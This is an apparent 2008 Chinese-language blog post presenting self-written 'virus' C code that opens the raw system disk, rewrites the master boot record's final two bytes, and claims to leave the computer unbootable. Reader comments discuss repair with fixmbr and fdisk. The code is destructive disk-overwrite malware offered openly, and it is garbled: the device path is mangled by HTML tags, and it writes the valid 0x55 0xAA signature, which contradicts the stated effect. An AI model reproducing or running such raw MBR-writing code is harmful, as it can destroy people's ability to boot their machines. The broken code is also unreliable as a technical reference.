自己写的病毒
by anyshpm on May.28, 2008, under IT
#include <io.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/stat.h> #include <errno.h> int main() { int hand; char mbrBuf[512]; char buf[100]={0}; sprintf(buf,"<a>\.PhysicalDrive0</a>"); hand=open(buf,O_RDWR | O_BINARY,S_IREAD | S_IWRITE); read(hand,mbrBuf,512); mbrBuf[510]=0x55; mbrBuf[511]=0xAA; lseek(hand,0,SEEK_SET); write(hand,mbrBuf,512); close(hand); return 0; } |
只是小小地破坏了一下主引导区的两个标志字节,结果是,电脑没法启动
大部分代码是从grubinst中学来的
这个程序在xp下可以很正常的运行,而在vista下由于权限不够导致出错
使用debug的int 13可以很方便的恢复那两个字节(0×55 0xAA),或者用fixmbr和fdisk /mbr也应该可以修复
相关文章:
4 comments for this entry:
哦……那就是fdisk修复的主引导区与所装系统的引导程序不兼容吧,猜得……
厉害
很好很强大……
用fixmbr肯定可以,fdisk /mbr应该也行(不知道会不会有大硬盘不支持的问题,fdisk好老了的说……)
传说中的55AA破坏法,呵呵。
"fdisk /mbr"可以修复那两个标志位,但是重启之后直接蓝屏